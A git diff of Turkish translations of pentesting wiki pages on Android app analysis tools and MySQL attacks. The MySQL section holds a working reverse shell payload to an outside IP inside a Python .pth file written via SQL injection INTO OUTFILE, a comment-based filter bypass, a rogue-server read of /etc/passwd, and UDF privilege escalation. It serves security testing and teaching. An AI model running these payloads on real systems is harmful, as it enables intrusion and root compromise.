gerekir (VM veya Docker çalışmaz). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ **MobSF dynamic analyser** şunları yapabilir: -- **Dump application data** (URL'ler, loglar, clipboard, sizin aldığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından alınan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve oluşturulan diğer dosyalar). Ekran görüntüleri hariç bunların tümü otomatik olarak yapılır; ekran görüntüsü almak istediğinizde butona basmanız gerekir veya tüm exported activity'lerin ekran görüntülerini almak için "**Exported Activity Tester**" a basmalısınız. -- **HTTPS traffic**'i yakalar -- **Frida** kullanarak **runtime** **information** elde eder +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tüm bunlar otomatik olarak yapılır; sadece ekran görüntüleri için, ekran görüntüsü almak istediğinizde butona basmanız veya tüm exported aktivitelerin ekran görüntülerini almak için "**Exported Activity Tester**"a basmanız gerekir. +- Capture **HTTPS traffic** +- Use **Frida** to obtain **runtime** **information** -Android **versions > 5** sürümlerinden itibaren, otomatik olarak **Frida**'yı başlatır ve trafiği yakalamak için global **proxy** ayarlarını yapar. Yalnızca test edilen uygulamanın trafiğini yakalar. +Android **versions > 5** sürümlerinden itibaren, **otomatik olarak Frida'yı başlatır** ve trafiği **capture** etmek için global **proxy** ayarlarını yapılandırır. Yalnızca test edilen uygulamanın trafiğini yakalar. -Frida +**Frida** -Varsayılan olarak bazı Frida Scripts'leri kullanarak **bypass SSL pinning**, **root detection** ve **debugger detection** ile başa çıkar ve ilginç API'leri **monitor** eder.\ -MobSF ayrıca **invoke exported activities**'i çağırabilir, bunların **screenshots**'larını alabilir ve rapor için **save** edebilir. +Varsayılan olarak, bazı Frida Scripts kullanarak **bypass SSL pinning**, **root detection** ve **debugger detection** yapar ve ilginç API'leri **monitor** eder.\ +MobSF ayrıca **invoke exported activities** yapabilir, bunların **screenshots**'larını alabilir ve rapor için **save** edebilir. -Dinamik testi başlatmak için yeşil düğmeye: "**Start Instrumentation**" basın. Frida script'leri tarafından oluşturulan logları görmek için "**Frida Live Logs**" ve hooked metodlara yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" a basın (bu, "**Start Instrumentation**" a bastıktan sonra görünecektir).\ -MobSF ayrıca kendi **Frida scripts**'lerinizi yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Yükleyebileceğiniz **several pre-written scripts** de mevcuttur (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), onları **select** edin, "**Load**" a ve ardından "**Start Instrumentation**" a basın (bu script'lerin loglarını "**Frida Live Logs**" içinde görebileceksiniz). +Dinamik testi **start** etmek için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen logları görmek için "**Frida Live Logs**" a basın ve hooked metodlara yapılan tüm invokasyonları, geçirilen argümanları ve dönen değerleri görmek için "**Live API Monitor**" a basın (bu, "Start Instrumentation" a bastıktan sonra görünecektir).\ +MobSF ayrıca kendi **Frida scripts**'lerinizi yüklemenize izin verir (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **several pre-written scripts** içerir (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **select them**, "**Load**" a basın ve "**Start Instrumentation**" a basın (bu scriptlerin loglarını "**Frida Live Logs**" içinde görebileceksiniz). ![](<../../images/image (419).png>) -Ayrıca bazı yardımcı Frida fonksiyonaliteleri vardır: +Ayrıca bazı yardımcı Frida fonksiyonları vardır: - **Enumerate Loaded Classes**: Yüklenen tüm sınıfları yazdırır -- **Capture Strings**: Uygulamayı kullanırken yakalanan tüm stringleri yazdırır (çok gürültülü) -- **Capture String Comparisons**: Çok faydalı olabilir. **Karşılaştırılan 2 string'i gösterir** ve sonucun True mu False mı olduğunu belirtir. -- **Enumerate Class Methods**: Sınıf adını girin (ör. "java.io.File") ve sınıfın tüm methodlarını yazdırır. +- **Capture Strings**: Uygulamayı kullanırken tüm capture string'leri yazdırır (çok gürültülü) +- **Capture String Comparisons**: Çok faydalı olabilir. Karşılaştırılan iki string'i gösterir ve sonucun True veya False olduğunu bildirir. +- **Enumerate Class Methods**: Sınıf adını girin (ör. "java.io.File") ve sınıfın tüm metodlarını yazdırır. - **Search Class Pattern**: Desene göre sınıfları arar -- **Trace Class Methods**: Bir **sınıfı Trace eder** (sınıftaki tüm metodların giriş ve çıkışlarını görür). Varsayılan olarak MobSF birkaç ilginç Android API metodunu trace eder. +- **Trace Class Methods**: Bir sınıfın tamamını **Trace** eder (sınıftaki tüm metodların giriş ve çıkışlarını görür). Unutmayın, varsayılan olarak MobSF birkaç ilginç Android API metodunu trace eder. -Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" a basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. +Yardımcı modülü seçtikten sonra "**Start Intrumentation**" a basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz. -Shell +**Shell** -MobSF ayrıca dynamic analysis sayfasının altında bazı **adb** komutları, **MobSF commands** ve yaygın **shell** **commands** içeren bir shell sunar. Bazı ilginç komutlar: +MobSF ayrıca dynamic analysis sayfasının alt kısmında bazı **adb** komutları, **MobSF commands**, ve yaygın **shell** **commands** içeren bir shell sunar. Bazı ilginç komutlar: ```bash help shell ls @@ -652,32 +652,32 @@ receivers ``` **HTTP araçları** -HTTP trafiği yakalandığında, yakalanan trafiğin çirkin bir görünümünü "**HTTP(S) Traffic**" butonunda veya daha güzel bir görünümünü "**Start HTTPTools**" yeşil butonunda görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxies**'e **send** edebilirsiniz.\ -Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP trafiği yakalandığında, yakalanan trafiğin kaba bir görünümünü "**HTTP(S) Traffic**" alt kısmında veya daha hoş bir görünümünü "**Start HTTPTools**" yeşil butonunda görebilirsiniz. İkinci seçenekten, **send** the **captured requests** to **proxies** like Burp or Owasp ZAP yapabilirsiniz.\ +Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> basın "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" tuşuna basıp **fuzz http requests** yaparak zafiyet arayabilirsiniz. +MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" tuşuna basarak **fuzz http requests** yapabilir ve zayıflıkları arayabilirsiniz. > [!TIP] -> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve GUI üzerinden düzeltemeyebilirsiniz. Proxy ayarlarını şu komut ile düzeltebilirsiniz: +> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve GUI üzerinden düzeltemeyebilirsiniz. Proxy ayarlarını şu komutla düzeltebilirsiniz: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Inspeckage ile Yardımlı Dinamik Analiz -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Bu araç, dinamik analiz yaparken uygulamada **neler olduğuna** dair bilgi vermek için bazı **Hooks** kullanır. +Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden edinebilirsiniz.\ +Bu araç, **dynamic analysis** yaparken uygulamada **nelerin olduğunu** anlamanız için bazı **Hooks** kullanır. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Bu, GUI ile **statik analiz yapmak için harika bir araçtır** +Bu, GUI ile static analysis yapmak için harika bir araçtır. ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Bu araç, hem **source code** içinde hem de **packaged APKs** içinde çeşitli **security related Android application vulnerabilities** aramak için tasarlanmıştır. Araç ayrıca bazı bulunan zafiyetleri (Exposed activities, intents, tapjacking...) sömürmek için **"Proof-of-Concept" deployable APK** ve **ADB commands** oluşturma yeteneğine sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur. +Bu araç, hem **source code** hem de **packaged APKs** içinde çeşitli **security related Android application vulnerabilities** aramak için tasarlanmıştır. Araç ayrıca bulunan bazı zayıflıkları (Exposed activities, intents, tapjacking...) kullanmak için dağıtılabilir bir **"Proof-of-Concept" deployable APK** ve **ADB commands** oluşturma yeteneğine sahiptir. Drozer'da olduğu gibi, test cihazını rootlamaya gerek yoktur. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -686,10 +686,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Kolay referans için çıkarılan tüm dosyaları görüntüler -- APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder -- AndroidManifest.xml'ü yaygın zafiyetler ve davranışlar için analiz eder -- Yaygın zafiyetler ve davranışlar için statik kaynak kodu analizi +- Kolay referans için tüm çıkarılan dosyaları gösterir. +- APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder. +- AndroidManifest.xml dosyasını yaygın güvenlik açıkları ve davranışlar açısından analiz eder. +- Yaygın güvenlik açıkları ve davranışlar için statik kaynak kodu analizi yapar. - Cihaz bilgileri - ve daha fazlası ```bash @@ -697,9 +697,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını vulnerabilities açısından analiz eder. Bunu APK'leri dekomprese ederek ve söz konusu vulnerabilities'i tespit etmek için bir dizi kural uygulayarak yapar. +SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını güvenlik açıkları açısından analiz eder. Bunu, APK'leri dekomprese ederek ve bu açıkları tespit etmek için bir dizi kural uygulayarak yapar. -Tüm kurallar `rules.json` dosyasında toplanmıştır; her şirket veya test uzmanı ihtiyaçlarına göre kendi kurallarını oluşturabilir. +Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya test uzmanı ihtiyaçlarına göre kendi kurallarını oluşturabilir. En son ikili dosyaları [download page](https://superanalyzer.rocks/download.html) üzerinden indirin. ``` @@ -709,9 +709,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn, mobil uygulamalarda [static code analysis] yapan geliştiricilere, bugbounty hunters ve ethical hackers'a yardımcı olan bir **crossplatform** araçtır. +StaCoAn, mobil uygulamalar üzerinde [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) yapan geliştiricilere, bugbounty hunters ve ethical hackers'e yardımcı olan bir **crossplatform** araçtır. -Konsept şu: mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakırsınız ve uygulama sizin için görsel ve taşınabilir bir rapor oluşturur. Ayarları ve wordlists'i değiştirerek özelleştirilmiş bir deneyim elde edebilirsiniz. +Konsept, mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun sizin için görsel ve taşınabilir bir rapor oluşturmasıdır. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz. İndir[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -719,7 +719,7 @@ Konsept şu: mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygula ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmalarına yardımcı olan bir Android zafiyet analiz sistemidir.\ +AndroBugs Framework, geliştiriciler veya hackers için Android uygulamalarındaki potansiyel güvenlik açıklarını bulmaya yardımcı olan bir Android zafiyet analiz sistemidir.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +727,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** Android uygulamaları tarafından geliştirilen potansiyel kötü amaçlı davranışları tespit edip kullanıcıyı uyarmayı amaçlayan bir araçtır. +**Androwarn** Android uygulamalarının potansiyel kötü amaçlı davranışlarını tespit etmek ve kullanıcıyı uyarmak amacıyla geliştirilmiş bir araçtır. -Tespit, uygulamanın Dalvik bytecode'unda temsil edilen **Smali** üzerinden yapılan **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak gerçekleştirilir. +Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edildiği **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak gerçekleştirilir. -Bu araç, **"kötü" uygulamaların ortak davranışları** gibi şunları arar: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Bu araç, **kötü uygulamaların ortak davranışlarını** şu durumlarda arar: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,7 +739,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Mobil uygulamaların OWASP mobile security tehditlerine karşı test edilmesine yardımcı olmak için yaygın kullanılan mobile application reverse engineering and analysis araçlarını bir araya getiren bir araçtır. Amacı bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir. +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals. It is able to: @@ -752,11 +752,11 @@ It is able to: ### Koodous -Malware tespit etmek için faydalı: [https://koodous.com/](https://koodous.com/) +Malware tespiti için faydalı: [https://koodous.com/](https://koodous.com/) -## Obfuscating/Deobfuscating code +## Kodun Obfuskasyonu/Deobfuskasyonu -Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. +Kodu obfuskasyon için kullandığınız servis ve yapılandırmaya bağlı olarak, gizli bilgiler obfuskelenmiş olabilir ya da olmayabilir. ### [ProGuard]() @@ -780,7 +780,7 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu **DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** -You can upload an obfuscated APK to their platform. +Platformlarına obfuskelenmiş bir APK yükleyebilirsiniz. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app @@ -802,13 +802,13 @@ APKiD gives you information about **how an APK was made**. It identifies many ** ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. +AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve reverse engineering ile malware analysis için farklı güvenlik meraklıları ve araştırmacıların en son framework, tutorial ve lab koleksiyonlarını içerir. -## References +## Referanslar - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kurs +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -816,7 +816,7 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## Yet to try +## Denenecekler - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index efb78e58a..4607f5f3c 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Temel Bilgiler** -**MySQL** ücretsiz olarak edinilebilen açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. Veritabanlarının yönetilmesini ve manipülasyonunu sağlayan **Yapılandırılmış Sorgu Dili (SQL)** ile çalışır. +**MySQL** ücretsiz olarak erişilebilen açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. **Yapılandırılmış Sorgu Dili (SQL)** üzerinde çalışır; veritabanlarının yönetilmesine ve manipüle edilmesine olanak tanır. **Varsayılan port:** 3306 ``` @@ -17,14 +17,14 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Uzaktan +### Uzak ```bash mysql -h -u root mysql -h -u root@localhost ``` ## Harici Enumeration -Bazı enumeration işlemleri geçerli kimlik bilgileri gerektirir +Bazı enumeration eylemleri geçerli credentials gerektirir ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### Herhangi bir ikili veriyi yazma +### Herhangi bir ikili veriyi yaz ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQL İzinlerini Keşfetme +### MySQL İzinleri Keşfi ```sql #Mysql SHOW GRANTS [FOR user]; @@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ``` You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) -### MySQL File RCE +### MySQL Dosya RCE {{#ref}} @@ -112,55 +112,57 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) -Klasik `INTO OUTFILE` primitive'ini suistimal ederek, daha sonra **Python** scriptleri çalıştıran hedeflerde *arbitrary code execution* elde etmek mümkündür. +Klasik `INTO OUTFILE` primitive'ını kötüye kullanarak, daha sonra **Python** scriptleri çalıştıran hedeflerde *arbitrary code execution* elde etmek mümkündür. -1. `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine (ör. `.../lib/python3.10/site-packages/`) özel bir **`.pth`** dosyası bırakmak için `INTO OUTFILE` kullanın. -2. `.pth` dosyası, `import ` ile başlayan ve yorumlayıcı her başladığında çalıştırılacak keyfi Python kodunu takip eden *tek bir satır* içerebilir. -3. Yorumlayıcı bir CGI scripti tarafından zımnen çalıştırıldığında (ör. shebang `#!/bin/python` ile `/cgi-bin/ml-draw.py`), payload web sunucusu işlemiyle aynı ayrıcalıklarla çalıştırılır (FortiWeb bunu **root** olarak çalıştırdı → full pre-auth RCE). +1. `INTO OUTFILE` kullanarak `site.py` tarafından otomatik yüklenen herhangi bir dizinin içine özel bir **`.pth`** dosyası bırakın (ör. `.../lib/python3.10/site-packages/`). +2. `.pth` dosyası, `import ` ile başlayan ve ardından yorumlayıcı her başlatıldığında çalıştırılacak herhangi bir Python kodunu içeren *tek bir satır* barındırabilir. +3. Yorumlayıcı bir CGI script tarafından dolaylı olarak çalıştırıldığında (ör. `/cgi-bin/ml-draw.py` ile shebang `#!/bin/python`) payload, web sunucusu süreciyle aynı ayrıcalıklarla çalıştırılır (FortiWeb bunu **root** olarak çalıştırdı → full pre-auth RCE). -Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): +Örnek `.pth` payload (tek satır, final SQL payload içine boşluk eklenemez, bu yüzden hex/`UNHEX()` veya string concatenation gerekebilir): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Bir **UNION** sorgusu ile dosyanın oluşturulmasına örnek (boşluk karakterleri `/**/` ile değiştirilmiş, böylece `sscanf("%128s")` boşluk filtresi atlatılıyor ve toplam uzunluk ≤128 byte tutuluyor): +Dosyayı **UNION** sorgusu aracılığıyla oluşturma örneği (boşluk karakterleri `/**/` ile değiştirilmiş, bir `sscanf("%128s")` boşluk filtresini atlatmak ve toplam uzunluğun ≤128 baytta kalmasını sağlamak için): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Önemli sınırlamalar & bypasses: +Önemli sınırlamalar ve baypaslar: * `INTO OUTFILE` **mevcut dosyaların üzerine yazamaz**; yeni bir dosya adı seçin. -* Dosya yolu **MySQL’s CWD**'ye göre çözülür; bu yüzden başına `../../` eklemek yolu kısaltmaya ve absolute-path kısıtlamalarını bypass etmeye yardımcı olur. -* Eğer saldırgan girdisi `%128s` (veya benzeri) ile çıkarılıyorsa, herhangi bir boşluk payload'u keser; boşlukların yerine koymak için MySQL yorum dizileri `/**/` veya `/*!*/` kullanın. -* Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır, ancak birçok appliance (örn. FortiWeb) servis **root** olarak çalışır ve neredeyse her yere yazma erişimi verir. +* Dosya yolu **MySQL’s CWD** baz alınarak çözülür; bu yüzden `../../` ile öneklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını atlatmaya yardımcı olur. +* Saldırgan girdisi `%128s` (veya benzeri) ile çıkarılıyorsa, herhangi bir boşluk payload'u kısaltır; boşlukları değiştirmek için MySQL yorum dizileri `/**/` veya `/*!*/` kullanın. +* Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır; ancak birçok cihazda (örn. FortiWeb) servis **root** olarak çalışır ve bu neredeyse her yerde yazma erişimi verir. -`.pth` dosyasını bıraktıktan sonra, python interpreter tarafından işlenen herhangi bir CGI'yi çağırmak code execution elde etmek için yeterlidir: +`.pth` bıraktıktan sonra, python interpreter tarafından işlenen herhangi bir CGI'yi isteyerek code execution elde edin: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Python süreci kötü amaçlı `.pth` dosyasını otomatik olarak import edecek ve shell payload'ı çalıştıracak. +Python süreci kötü amaçlı `.pth` dosyasını otomatik olarak import edecek ve shell payload'u çalıştıracaktır. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` -## MySQL arbitrary read file by client +--- -Aslında, **load data local into a table** ile bir tabloya bir dosyanın **içeriğini** yüklemeye çalıştığınızda, MySQL veya MariaDB sunucusu **client to read it** diyerek istemciden bunu okumasını ve içeriği göndermesini ister. **Sonuç olarak, eğer bir mysql client'ı değiştirip kendi MySQL sunucunuza bağlanmasını sağlayabiliyorsanız, keyfi dosyaları okuyabilirsiniz.**\ -Lütfen bunun şu kullanım sırasında olan davranış olduğunu unutmayın: + +## MySQL istemci tarafından rastgele dosya okuma + +Aslında, bir tabloya **load data local into a table** ile bir dosyanın **içeriğini** yüklemeye çalıştığınızda, MySQL veya MariaDB sunucusu **client to read it** diyerek istemciden dosyayı okumasını ve içeriği göndermesini ister. **Eğer bir mysql client'ı manipüle edip kendi MySQL sunucunuza bağlanmasını sağlayabilirseniz, rastgele dosyaları okuyabilirsiniz.**\ +Lütfen bunun şu kullanımda olan davranış olduğunu unutmayın: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -("local" kelimesine dikkat edin)\ -Çünkü "local" olmadan şunu elde edebilirsiniz: +("local" kelimesine dikkat edin)\ Çünkü "local" olmadan şunu alabilirsiniz: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **İlk PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**Bu makalede saldırının tam açıklamasını ve hatta nasıl RCE'ye genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Bu makalede saldırının tam bir açıklamasını ve hatta nasıl RCE'ye genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Burada saldırının genel bir özetini bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -171,21 +173,21 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Mysql Kullanıcısı -mysql'in **root** olarak çalışıyor olması çok ilginç olacaktır: +mysql'in **root** olarak çalışması çok ilginç olacaktır: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### mysqld.cnf'nin Tehlikeli Ayarları +#### mysqld.cnf için Tehlikeli Ayarlar -MySQL hizmetlerinin yapılandırmasında, çalışmasını ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılır: +MySQL servislerinin yapılandırmasında, çalışması ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılır: -- MySQL hizmetinin hangi kullanıcı altında çalışacağını belirlemek için **`user`** ayarı kullanılır. -- **`password`** MySQL kullanıcısına ait parolanın belirlenmesi için kullanılır. -- **`admin_address`** yönetim ağ arabiriminde TCP/IP bağlantılarını dinleyen IP adresini belirtir. -- **`debug`** değişkeni, loglarda hassas bilgiler de dahil olmak üzere mevcut hata ayıklama yapılandırmalarını gösterir. -- **`sql_warnings`** uyarılar oluştuğunda tek satırlık INSERT ifadeleri için bilgi dizeleri üretilip üretilmeyeceğini yönetir; bu dizeler loglarda hassas veriler içerebilir. -- **`secure_file_priv`** ile veri içe/dışa aktarma işlemlerinin kapsamı güvenliği artırmak için sınırlandırılır. +- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed. +- **`password`** is applied for establishing the password associated with the MySQL user. +- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface. +- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs. +- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs. +- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security. ### Privilege escalation ```bash @@ -205,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Kütüphane ile Ayrıcalık Yükseltme +### Privilege Escalation via library -Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı başka bir kullanıcı olarak) onun komut çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'in çalıştığı OS için bir **kütüphaneye** ihtiyacınız olacak. +Eğer **mysql server is running as root** (veya farklı, daha ayrıcalıklı bir kullanıcı olarak) çalışıyorsa, komut çalıştırmasını sağlayabilirsiniz. Bunun için **user defined functions** kullanmanız gerekir. Ve bir **user defined** oluşturmak için mysql'in çalıştığı işletim sistemi için bir **library** gerekir. -Kullanılacak kötü amaçlı kütüphaneyi sqlmap ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulabilirsiniz. **`.so`** dosyaları **linux** kütüphaneleri ve **`.dll`** dosyaları **Windows** olanlardır; ihtiyacınız olanı seçin. +Kullanılacak kötü amaçlı kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir; ihtiyacınıza göre uygun olanı seçin. -Eğer bu kütüphanelere **sahip değilseniz**, ya onları **aramayı** deneyin ya da bu [**linux C code**](https://www.exploit-db.com/exploits/1518) dosyasını indirip **zafiyetli linux makinede** derleyin: +Eğer bu kütüphanelere sahip değilseniz, ya onları 